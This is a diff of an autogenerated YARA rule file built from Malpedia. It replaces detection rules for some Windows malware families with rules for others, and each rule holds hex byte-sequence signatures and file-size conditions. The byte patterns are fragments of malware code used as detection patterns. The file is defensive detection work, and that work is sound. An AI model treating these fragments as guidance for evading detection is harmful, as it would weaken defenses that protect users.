"4aaa48768d97770f6e85ee594f356b88c6dabd160111a6a927596e69e9ca03f4" score = 75 quality = 75 tags = "FILE" @@ -135315,32 +135035,32 @@ rule MALPEDIA_Win_Wm_Rat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89481c 894820 894824 6a00 b901000000 6a00 6689480c } - $sequence_1 = { 8d8c24e4110000 ff15???????? c684247c31020056 8b8424d4110000 8b4804 f6840cdc11000006 0f842c010000 } - $sequence_2 = { 83f8ff 0f8423070000 90 f684247402000010 0f8492020000 68fc070000 8d8c24f80b0000 } - $sequence_3 = { ff15???????? 33c9 6a30 51 8d9424aa100000 } - $sequence_4 = { 8b4c240c 6aff 8d542414 894608 } - $sequence_5 = { 83c404 6a64 ffd6 8b4c2414 51 e8???????? 83c404 } - $sequence_6 = { b804000000 2bc6 50 8d0c3e 51 52 } - $sequence_7 = { 50 8b4204 ffd0 c684245402000000 8b44241c 83c0f0 8d480c } - $sequence_8 = { 84c0 0f84f4e9ffff 83ec1c 8bcc 89642434 68???????? ff15???????? } - $sequence_9 = { 3b01 743b 8b542428 8b4e14 2bd0 8d4c0a01 51 } + $sequence_0 = { 23c1 eb55 8b1c9d68d14000 56 6800080000 } + $sequence_1 = { 8b0c8d48414100 c644112800 85f6 740c } + $sequence_2 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 } + $sequence_3 = { 57 8d1c85383d4100 33c0 f00fb10b 8b15???????? 83cfff } + $sequence_4 = { 7451 83e809 7443 83e801 0f8501010000 c745e0a40f4100 } + $sequence_5 = { 660fd60f 8d7f08 8b048d04b54000 ffe0 f7c703000000 7413 } + $sequence_6 = { c1fa06 6bc830 8b049548414100 f644082801 7414 8d4508 8945fc } + $sequence_7 = { 6bc830 8b049548414100 f644082801 7421 57 e8???????? } + $sequence_8 = { 83e03f c1fa06 6bc830 8b049548414100 f644082801 7414 } + $sequence_9 = { 7313 8a8750304100 08441619 42 } condition: - 7 of them and filesize < 258048 + 7 of them and filesize < 335872 } -rule MALPEDIA_Win_Cabart_Auto : FILE +rule MALPEDIA_Win_Photoloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f125e8a4-ec32-5390-8552-f2a98b622d63" + id = "8e57491c-6cec-54b0-9e33-36f4eaa437c4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cabart" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cabart_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.photoloader_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "61ecd8ce7a25b1013cbbef59f59ac25a4742d00a8fbf8c91414650d5dc932d94" + logic_hash = "2f15d6b5866c53e3831e42ccf3580d949b52efae89debdf96aad0057ebcc65ac" score = 75 quality = 75 tags = "FILE" @@ -135354,32 +135074,39 @@ rule MALPEDIA_Win_Cabart_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 57 be04010000 8d85d8fbffff 56 } - $sequence_1 = { 5f 40 5e c9 c21000 53 } - $sequence_2 = { 55 a3???????? ffd6 68???????? ff742414 a3???????? ffd6 } - $sequence_3 = { 395d10 740f 6800800000 53 ff7510 } - $sequence_4 = { ff15???????? ff15???????? 57 3db7000000 } - $sequence_5 = { 761e 8b450c 8930 8b4510 eb16 } - $sequence_6 = { 8d85fcfeffff 68???????? 6804010000 50 ff15???????? 83c410 6a10 } - $sequence_7 = { 3bf3 0f8499000000 53 53 53 53 } - $sequence_8 = { 57 ff15???????? 83c428 33c0 5f } - $sequence_9 = { 6a02 57 6a01 6800000040 8d85fcfbffff } + $sequence_0 = { 0fa2 894704 33c9 b800000040 0fa2 } + $sequence_1 = { 8bf7 8d6f10 ff15???????? 0f31 } + $sequence_2 = { c0c003 0fb6c8 8bc1 83e10f } + $sequence_3 = { ff15???????? 25ffffff00 0d00000005 e9???????? 8bd7 } + $sequence_4 = { b800000040 0fa2 895f0c e8???????? } + $sequence_5 = { f7411400000020 7407 8b41f8 3901 7714 } + $sequence_6 = { 7512 ff15???????? 25ffffff00 0d00000007 eb4a 397b1c 7629 } + $sequence_7 = { f7f1 438b4cd314 4803cb 4903c9 418d0411 } + $sequence_8 = { 33c9 b801000080 0fa2 0fbae216 7307 } + $sequence_9 = { b90b010000 66394a18 8d41ed 448d59fd 440f44d8 4533c9 4c03da } + $sequence_10 = { 33ff 2175fc 85ff 751d } + $sequence_11 = { 89470c e8???????? 894708 5f 5e 5d 5b } + $sequence_12 = { 0fb6c3 8d95e8fdffff f7d8 1bc0 f7d0 25???????? } + $sequence_13 = { 57 8bfa ff15???????? 8bac2434010000 25ffffff7f 8b9c2438010000 } + $sequence_14 = { 8d461e 50 68???????? 8d1c31 } + $sequence_15 = { 8bc8 2bfa 66890c17 46 8d5202 } + $sequence_16 = { 6a44 5e 56 33db 8d442424 53 } condition: - 7 of them and filesize < 32768 + 7 of them and filesize < 107520 } -rule MALPEDIA_Win_Unidentified_087_Auto : FILE +rule MALPEDIA_Win_Mindware_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6032a71d-315e-5161-8b29-e52778de6b9c" + id = "23a8487f-e2c7-545b-81cb-6372e4caaae2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_087" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_087_auto.yar#L1-L166" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mindware" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mindware_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "6f89e449c7df0d973fa61becfc3b5884b82be1e57577d3cbd257d75e0b80e7b8" + logic_hash = "c1e547ffdf51514bc4e27c57582e862eb5175ec80e05ba2145cb8dfa6653e95b" score = 75 quality = 75 tags = "FILE" @@ -135393,38 +135120,32 @@ rule MALPEDIA_Win_Unidentified_087_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 498bdd 666666666666660f1f840000000000 0fb6941c98000000 498bcf e8???????? } - $sequence_1 = { 41b900000008 4533c0 488d5560 33c9 ff15???????? 488bf8 4885c0 } - $sequence_2 = { c7457001000000 c7457c02000000 488d4580 4889442428 488d85a8000000 } - $sequence_3 = { 4885c9 7407 ff15???????? 90 4885db } - $sequence_4 = { 488d0c38 4d8bc7 4903cc 4803d5 e8???????? } - $sequence_5 = { 4883794800 7503 83ca04 4533c0 e8???????? 488b442450 } - $sequence_6 = { 4883fb01 0f8288000000 488d2d0e9a0200 48833d????????10 480f432d???????? } - $sequence_7 = { 488d5c3bff 498d7b01 4c8bc3 8bd5 } - $sequence_8 = { 50 56 68???????? 57 ff15???????? 3b442410 7414 } - $sequence_9 = { c78550fbffff94000000 8d8d50fbffff 51 ff15???????? } - $sequence_10 = { 3c58 770f 0fbec2 0fbe80c8b10110 } - $sequence_11 = { 7429 8b5508 39542410 7412 8d442408 50 } - $sequence_12 = { 52 ff15???????? 32c0 e9???????? 8d8550ffffff } - $sequence_13 = { 57 52 53 50 ff15???????? 8b8c242c040000 } - $sequence_14 = { e8???????? 8bdc 57 68???????? 8d4e01 e8???????? } - $sequence_15 = { 0f840c010000 8b0d???????? 8b7c2458 8d44240c } + $sequence_0 = { 68???????? e8???????? 83c40c 8b4dfc 8b7dfc 83c72c } + $sequence_1 = { 50 8b4d08 8b5108 8b4508 8b12 8b4808 } + $sequence_2 = { c7855cecfffff8d44300 c78560ecffff00d54300 c78564ecffff0cd54300 c78568ecffff18d54300 c7856cecffff24d54300 c78570ecffff2cd54300 c78574ecffff34d54300 } + $sequence_3 = { c1e810 83e03f c1e918 83e13f 8b0c8d603a4400 330c8520394400 8bc2 } + $sequence_4 = { 33148dc0bc4400 8bcb c1e918 33148dc0c44400 8b4df0 } + $sequence_5 = { e8???????? 8b4dfc 51 e8???????? 8b55fc c7423000000000 8b45fc } + $sequence_6 = { c78540f1ffffbce04300 c78544f1ffffc4e04300 c78548f1ffffcce04300 c7854cf1ffffd4e04300 c78550f1ffffe0e04300 c78554f1ffffece04300 c78558f1fffff4e04300 } + $sequence_7 = { 83e03f 330c8520384400 330c95e03c4400 8bd3 33f1 c1ca04 33576c } + $sequence_8 = { 8b4dfc 8b7dfc 83c72c 32c0 8b4928 } + $sequence_9 = { 0fb689f0d84400 c1e108 33d1 8b4df0 c1e908 0fb6c9 c1e208 } condition: - 7 of them and filesize < 462848 + 7 of them and filesize < 661504 } -rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE +rule MALPEDIA_Win_Miniasp_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "5964c83b-5a1b-5913-a49a-303693a90164" + id = "dd001a5f-6edc-54d2-8944-1f96a2068de8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nocturnalstealer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nocturnalstealer_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.miniasp" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.miniasp_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "c662283be69db4ef7dfe1019eca1797cdbfc6ecd9828799d75f57c47594f7be3" + logic_hash = "d2281d1c5f13ba61fe4f1a7571230cd90a3ba2e219ba542805e8f7cc31494450" score = 75 quality = 75 tags = "FILE" @@ -135438,32 +135159,32 @@ rule MALPEDIA_Win_Nocturnalstealer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e9???????? bd01000000 81c717a0fb5f 01ef 81ef17a0fb5f 5d 81e7cfaad32f } - $sequence_1 = { d280e1f107c3 7dbf 41 6c 46 3f a984011afd } - $sequence_2 = { e9???????? 51 b9dd9abe6f 31c8 59 05f1eb6f2f 05b354dc74 } - $sequence_3 = { e9???????? bb74bcf36f f7d3 4b 81cb108dfb7b 81e337e4f765 55 } - $sequence_4 = { c70424009d1a20 891424 ba77a7ee3f 89d3 8b1424 53 89e3 } - $sequence_5 = { e9???????? 58 81c404000000 e9???????? 81f6d544f73f 58 81eb4703df3d } - $sequence_6 = { ff3424 8b0c24 57 e9???????? 58 051ff53d3f 01c6 } - $sequence_7 = { f7d0 2d612e2f1b 053325461d 89c2 58 01542404 5a } - $sequence_8 = { e9???????? 8365d800 c745dcfedf4900 a1???????? 8d4dd8 33c1 8945e0 } - $sequence_9 = { e9???????? 81f2209cfd37 81eaf4ffef7d 81c2d90dace9 e9???????? 890c24 812c2439bc9f73 } + $sequence_0 = { 8b4de8 e8???????? 0fb6c0 85c0 742f 8b45e8 } + $sequence_1 = { 8a8d7bffffff 8808 8b4584 40 894584 8b4580 40 } + $sequence_2 = { 75ef 8b45a0 2b459c 894594 6800000010 ff7594 ff7510 } + $sequence_3 = { 8b45bc ffb0b4000000 8b45bc ffb088000000 8d4dfb e8???????? 8945fc } + $sequence_4 = { 8b45f0 ffb088000000 e8???????? 83c40c 837df800 7463 } + $sequence_5 = { 33c0 40 e9???????? 8b4510 25ffff0000 0fb7c0 8945b4 } + $sequence_6 = { 8b4dfc c6040820 8b45fc 40 8945fc } + $sequence_7 = { 7432 68???????? 8b45f8 ffb0e8000000 e8???????? 59 59 } + $sequence_8 = { 807ddf00 741f 8b45e0 8a4001 8845de 8b4de4 } + $sequence_9 = { 33c0 8b7df8 83c742 ab ab ab ab } condition: - 7 of them and filesize < 10739712 + 7 of them and filesize < 139264 } -rule MALPEDIA_Win_Woody_Auto : FILE +rule MALPEDIA_Win_Scavenger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8c748e16-00b8-5127-9604-d62e3d04f71e" + id = "d846177f-40f0-5608-9af6-8e72a353dfb4" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.woody" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.woody_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.scavenger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.scavenger_auto.yar#L1-L122" license_url = "N/A" - logic_hash = "3fdba1a84cd03f528c200b6a293fddfa54111448f7301420a9273bbb05f0134b" + logic_hash = "e670ed837cdbf1f563e9cd77410039750eec52dd374d49f9838ffc16cf920061" score = 75 quality = 75 tags = "FILE" @@ -135472,37 +135193,37 @@ rule MALPEDIA_Win_Woody_Auto : FILE signator_config = "callsandjumps;datarefs;binvalue" malpedia_rule_date = "20260105" malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { 33c0 83e103 c744241004010000 f3a4 bfc0a60110 83c9ff f2ae } - $sequence_1 = { 8d4ddc 51 ff75e8 50 ff15???????? 85c0 0f8417010000 } - $sequence_2 = { 83c008 83c308 3b4510 75e7 8b4604 50 894508 } - $sequence_3 = { 5d 5b c20800 8b5114 8b690c 8b4910 8bc2 } - $sequence_4 = { ff15???????? 85c0 7404 b001 5e c3 } - $sequence_5 = { 83c408 85f6 751e 68ee050000 50 } - $sequence_6 = { 5e 83c2fc 895508 895108 5d c20400 55 } - $sequence_7 = { 89742458 0f8c78ffffff 8b442454 8d0c92 8b542448 5f c1e102 } - $sequence_8 = { 8ba880000000 85ed 0f84ae000000 8b8884000000 85c9 0f84a0000000 8b443d10 } - $sequence_9 = { 85c0 7447 6a10 8d45e0 6a00 50 e8???????? } + malpedia_version = "20251219" + malpedia_license = "CC BY-SA 4.0" + malpedia_sharing = "TLP:WHITE" + + strings: + $sequence_0 = { 0fb6c0 85c0 7421 488b442430 488b00 4889442458 488b442458 } + $sequence_1 = { 488b442428 48c7401800000000 488b8424a8000000 488b4010 4889442470 488b8424a8000000 4889442430 } + $sequence_2 = { 4889442420 488b8c2410010000 e8???????? 4839842420010000 7606 e8???????? } + $sequence_3 = { 4889442440 488b442430 4883c010 4889442448 } + $sequence_4 = { 4889442438 e9???????? 33d2 b80f000000 b902000000 48f7f1 488b4c2430 } + $sequence_5 = { 488b442428 48c7401800000000 488b8424a8000000 488b4010 } + $sequence_6 = { 4889442420 488b442420 4889442448 488b442420 4883c008 4889442450 } + $sequence_7 = { 4889442468 48c7442430ffffffff 488b442430 4889442478 } + $sequence_8 = { 488378180f 760a c744243001000000 eb08 c744243000000000 0fb6442430 88442420 } + $sequence_9 = { 4883ec60 488b442470 4889442448 488b442478 4889442438 488b442438 } condition: - 7 of them and filesize < 409600 + 7 of them and filesize < 2992128 } -rule MALPEDIA_Win_Agendacrypt_Auto : FILE +rule MALPEDIA_Win_Buzus_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4966f69d-c40f-52c7-ab6b-916949adbb8d" + id = "51e8e3ea-5fd9-5a65-8632-fc964a25884b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agendacrypt_auto.yar#L1-L134" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.buzus_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "0e351b6d1fd5e325b27b4cca5ef7ee4f990f5eb0183c139b2c6519ec640c4f6c" + logic_hash = "45f59120d6ee3fd13d7fe4ef65dc14248ca6854e32422138403891c6247259ef" score = 75 quality = 75 tags = "FILE" @@ -135516,32 +135237,32 @@ rule MALPEDIA_Win_Agendacrypt_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { e8???????? 85c0 0f8409010000 f30f7e05???????? 0f280d???????? 89442428 c744243404000000 } - $sequence_1 = { 8b75d4 89500c 85f6 7516 eb38 8b45e8 8b5804 } - $sequence_2 = { 89c3 81fba3030000 8955d8 0f84e9000000 660f1f840000000000 81fb00001100 0f8420ffffff } - $sequence_3 = { 8d4c2424 8d542470 e8???????? e9???????? b9???????? eb63 c744247006000000 } - $sequence_4 = { 8d4dec e8???????? 8b55f4 8b45ec 66c7045000ff 42 8955f4 } - $sequence_5 = { e8???????? 837dcc02 7211 a1???????? ff75d0 6a00 ff30 } - $sequence_6 = { e8???????? 8b7de8 8b75f0 8b4510 66c704772200 46 8975f0 } - $sequence_7 = { c745d000000000 8945f0 8d45f0 c745f490b04100 8945d8 c745dc01000000 8d45c8 } - $sequence_8 = { c1c20e 894dc0 8b4db4 c1c619 31d0 89fa 31f0 } - $sequence_9 = { f20f1145b0 894db8 742c f20f1045bc f20f104dc4 f20f114de4 f20f1145dc } + $sequence_0 = { 8d85d8faffff 50 ffd6 6804010000 8d85ccfdffff ff75a0 50 } + $sequence_1 = { 4e 46 897508 ebbd 803e2a 750b 83f801 } + $sequence_2 = { 59 7413 ff751c 68???????? ff36 56 e8???????? } + $sequence_3 = { 891d???????? 68???????? ffd5 85c0 740a c705????????01000000 } + $sequence_4 = { b8???????? ba???????? 89858cfcffff 8985a0fcffff b8???????? 57 c785fcfbffffc8c94000 } + $sequence_5 = { 8b742410 33db 33ed 3bf3 7e58 } + $sequence_6 = { 53 8d5904 57 6a00 ffd6 59 } + $sequence_7 = { c78574feffffa8cf4000 c78578feffff9ccf4000 c7857cfeffff90cf4000 c78580feffff84cf4000 c78584feffff54cf4000 c78588feffff44cf4000 c7858cfeffff2ccf4000 } + $sequence_8 = { 44 1573d2446b 68ded17fda ca426b 68dddb1ffb 06 9f } + $sequence_9 = { 5f c9 c3 e8???????? 68a5040000 ff15???????? ebee } condition: - 7 of them and filesize < 3340288 + 7 of them and filesize < 679936 } -rule MALPEDIA_Win_Ayegent_Auto : FILE +rule MALPEDIA_Win_Socelars_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ced11e8d-8efd-5b26-929c-fa1cb31d81f3" + id = "3509baee-4e8c-59b5-b156-e68f4beae715" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ayegent_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.socelars_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "ba5d5de854dff7a7f643a8b1e7c7fe4de58085b126949eb8bd1d550389e21c48" + logic_hash = "a3ac10f2bb04512e9390a5496d935cded9fb0eddb2b0634c3c4f320efa071722" score = 75 quality = 75 tags = "FILE" @@ -135555,32 +135276,32 @@ rule MALPEDIA_Win_Ayegent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { a1???????? 8d542400 52 50 ff15???????? 8b4c2428 8b542424 } - $sequence_1 = { 51 6804010000 aa e8???????? 83c408 ffd5 } - $sequence_2 = { 885c2420 f3ab 66ab 8d4c2420 51 6804010000 aa } - $sequence_3 = { 770e 8088????????20 8ac8 80e920 ebe0 80a0609d400000 40 } - $sequence_4 = { ff15???????? 8d542420 50 52 8d442428 68???????? } - $sequence_5 = { 8d7c2421 885c2420 f3ab 66ab 8d4c2420 51 } - $sequence_6 = { 6808020000 50 53 68???????? 68???????? 885c2428 ffd5 } - $sequence_7 = { 66ab aa 8d442408 56 50 } - $sequence_8 = { 53 68???????? 8d4c2428 68???????? 51 68???????? } - $sequence_9 = { 66ab aa 8d442420 50 6a00 e8???????? } + $sequence_0 = { 8b8b88000000 394830 7f1c 8b542430 8bcb 6a00 52 } + $sequence_1 = { 8b432c 035514 40 837d1800 89432c 8b4f04 894c2424 } + $sequence_2 = { e8???????? 83c40c 894590 8b4d90 51 8d4d98 e8???????? } + $sequence_3 = { 8b55b8 83c202 3b5524 7735 8b4520 0345b8 0fbe08 } + $sequence_4 = { e8???????? c745fc00000000 8b5510 2b550c 8955d4 837dd400 766d } + $sequence_5 = { ff15???????? 83c404 8b4e68 85c9 7414 0fb7868c000000 3bf8 } + $sequence_6 = { ffd0 83c404 85c0 7417 b80a000000 5f 5e } + $sequence_7 = { ff75f4 03c6 89461c ff712c 50 e8???????? 8b4dfc } + $sequence_8 = { e9???????? 83cbff 8b4db8 83790400 0f8579ffffff c745a000000000 c7410401000000 } + $sequence_9 = { 8b7c2448 99 03f8 13ca 83c70a 897c2448 83d100 } condition: - 7 of them and filesize < 90112 + 7 of them and filesize < 2151424 } -rule MALPEDIA_Win_Soundbite_Auto : FILE +rule MALPEDIA_Win_Starsypound_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "55542a6a-ff29-54af-9f72-2267cf185584" + id = "70e37162-3a73-596a-8d7d-42b9d85b78f7" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.soundbite" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.soundbite_auto.yar#L1-L130" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.starsypound_auto.yar#L1-L119" license_url = "N/A" - logic_hash = "6e24536cd693eee2b46e8cd501f367ecabfbf15578ea8b1ce9e2cbd21490b0c3" + logic_hash = "abf4ae91c4287e1227ba24bd55f61dc3c1250c1b8b21f760166157e29806933f" score = 75 quality = 75 tags = "FILE" @@ -135594,32 +135315,32 @@ rule MALPEDIA_Win_Soundbite_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8dbd64fdffff 898590fdffff 889db7fdffff 899d64fdffff 899d68fdffff 899d6cfdffff } - $sequence_1 = { 51 8dbd64fdffff e8???????? c645fc02 8b13 8bb564fdffff 52 } - $sequence_2 = { 8d7c5702 4b ebea 3bf8 0f83b2000000 0fb707 } - $sequence_3 = { 0f849a010000 e8???????? 85c0 0f848d010000 8d85d8fcffff } - $sequence_4 = { c645fc04 8bbdf8fcffff 3bcb 0f83c9000000 8bd6 3bfa 0f87bf000000 } - $sequence_5 = { 898d54fdffff 898d58fdffff 8d8db7fdffff 40 51 8dbd50fdffff c685b7fdffff00 } - $sequence_6 = { 395de4 741d 8bc7 c1f805 83e71f c1e706 8b048500cf4200 } - $sequence_7 = { ff15???????? 8bf0 8d85a0fdffff e8???????? e9???????? 8bb5a8fdffff 8d85a0fdffff } - $sequence_8 = { 33049df02e4200 81e2ff000000 330495f03a4200 4f 0f85fcfdffff 83fe04 7250 } - $sequence_9 = { 85f6 0f85b3020000 50 e8???????? 83c404 8db578fdffff e8???????? } + $sequence_0 = { ff15???????? 8dbc2458010000 83c9ff 33c0 } + $sequence_1 = { 68???????? 52 e8???????? 83c420 85c0 7444 8b5304 } + $sequence_2 = { 53 56 57 6a18 e8???????? 8bb42424040000 } + $sequence_3 = { 8d4c2428 68???????? 51 e8???????? 56 8d542434 } + $sequence_4 = { 8bfd 8d44240c f3a5 8b5500 8b3d???????? 6a00 } + $sequence_5 = { 885c3438 c744241804010000 ff15???????? 8dbc2458010000 83c9ff 33c0 } + $sequence_6 = { 50 8d4c2424 56 51 52 } + $sequence_7 = { f3a4 885c0444 bf???????? 83c9ff 33c0 33f6 } + $sequence_8 = { 83c40c 85c0 7e2b eb08 } + $sequence_9 = { e8???????? 68c0270900 ff15???????? e8???????? 5f } condition: - 7 of them and filesize < 409600 + 7 of them and filesize < 40960 } -rule MALPEDIA_Win_Remcos_Auto : FILE +rule MALPEDIA_Win_Casper_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3ceadbea-888c-55f4-a47d-fc201de9516f" + id = "a2a62877-f95a-5635-83dc-ecf2c1bcc8c6" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remcos_auto.yar#L1-L117" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.casper" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.casper_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "53c8db12d7a75d44b5d7d131da62120ba8cecf14ac635a0e0b17a53e5078529b" + logic_hash = "51f38b9a318c7cdad54224577e1ce438c8182ba77e67e0978d20f3d358b38e98" score = 75 quality = 75 tags = "FILE" @@ -135633,32 +135354,32 @@ rule MALPEDIA_Win_Remcos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 7410 6a00 ff35???????? } - $sequence_1 = { ff15???????? 50 ff15???????? 8d45f0 33f6 } - $sequence_2 = { 51 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? } - $sequence_3 = { ff15???????? 50 ff15???????? 8d45f0 33f6 50 } - $sequence_4 = { 85c0 7410 6a00 ff35???????? ff15???????? } - $sequence_5 = { 50 6a28 ff15???????? 50 ff15???????? 8d45f0 33f6 } - $sequence_6 = { 7410 6a00 ff35???????? ff15???????? } - $sequence_7 = { 8d45f8 50 ff15???????? ff7508 } - $sequence_8 = { 51 8d45f8 c745f808000000 50 ff15???????? ff15???????? } - $sequence_9 = { 8d45f8 50 ff15???????? ff7508 ff15???????? } + $sequence_0 = { e8???????? 59 8d4df8 51 6a01 50 6801000080 } + $sequence_1 = { 88471c 8a4626 88471d 8b4624 59 c1e808 59 } + $sequence_2 = { 83c40c ff7010 8d8560fdffff 68???????? 50 } + $sequence_3 = { 832600 83661400 894608 c7461000100000 e8???????? 8945fc a1???????? } + $sequence_4 = { 8d8500ffffff 50 ff7510 e8???????? 83c410 8d8500ffffff 50 } + $sequence_5 = { 897808 eb02 33c0 8930 897804 8b4b10 } + $sequence_6 = { 5e 40 5b c9 c21000 8b8118010000 c3 } + $sequence_7 = { 8a01 84c0 75f1 8b4d08 52 ff7510 } + $sequence_8 = { 81e200008000 52 57 57 57 ff75a8 ff34850ca14200 } + $sequence_9 = { 2bc6 03450c 50 ff7508 e8???????? } condition: - 7 of them and filesize < 1054720 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Koadic_Auto : FILE +rule MALPEDIA_Win_Dramnudge_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "90cb2869-83e9-5158-9659-47bf570b7e5e" + id = "4e1e9905-62de-5567-9ed7-a82928870a8c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.koadic" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.koadic_auto.yar#L1-L128" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dramnudge_auto.yar#L1-L90" license_url = "N/A" - logic_hash = "d8659459b0b0216a7ee3a53301a133024a4e0a3aca2952b29c3bef6ea3dd8620" + logic_hash = "221dd8bcd930b6121a924fbe6761de15c83c657ddce0c9178183beb8828f75f7" score = 75 quality = 75 tags = "FILE" @@ -135672,32 +135393,30 @@ rule MALPEDIA_Win_Koadic_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 50 58 89450c 8b0424 50 58 894510 } - $sequence_1 = { 884c3410 85db 75d4 85f6 7e0c 8a4c3410 } - $sequence_2 = { 89442428 ff742420 8b6c2418 58 894500 ff742424 58 } - $sequence_3 = { 740d 50 51 e8???????? 83c408 c20800 } - $sequence_4 = { ff05???????? 8934c558344100 890cc55c344100 5e c20800 55 8bec } - $sequence_5 = { 8bf0 e8???????? 33ff 3bc7 740a 893e 897e04 } - $sequence_6 = { 897e1c 3bc5 0f8490000000 8b4804 894e10 8b480c 894e18 } - $sequence_7 = { c21000 8b442408 48 7404 33c0 eb15 8b442404 } - $sequence_8 = { 58 a3???????? ff7508 58 } - $sequence_9 = { 6a08 ff35???????? ff15???????? 8bf0 33db 3bf3 } + $sequence_0 = { 014218 eb18 03c3 8bd3 } + $sequence_1 = { 000c00 20b140005f5f 7277 7374 } + $sequence_2 = { 014318 8b430c 2b4308 03c6 } + $sequence_3 = { 000c00 e0d9 40 007374 } + $sequence_4 = { 014318 8b4318 8b55f8 03d6 } + $sequence_5 = { 007374 643a3a 7275 6e } + 